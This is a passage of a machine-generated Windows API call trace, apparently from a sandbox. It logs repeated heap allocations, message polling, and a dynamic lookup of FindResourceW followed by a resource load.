Size=0x20) returned 0xec12d0 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.852] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13e8 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0131.852] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.852] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf068 | out: hHeap=0xe80000) returned 1 [0131.852] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.853] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.853] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.853] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.853] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.853] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0131.853] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0131.853] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0131.853] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1c8 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555f0 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0131.854] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.854] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.855] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0131.855] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0131.856] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.856] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.857] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.858] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.859] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.860] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.863] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.864] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.864] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.864] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.864] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.864] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0131.864] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0131.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x1076b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindResourceW", lpUsedDefaultChar=0x0) returned 14 [0131.864] GetProcAddress (hModule=0x770a0000, lpProcName="FindResourceW") returned 0x770c2a40 [0131.866] FindResourceW (hModule=0x0, lpName="AppXDeploymentExtensions.desktop1", lpType=0x8) returned 0x377688 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f3f8 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.866] RtlAllocateHeap 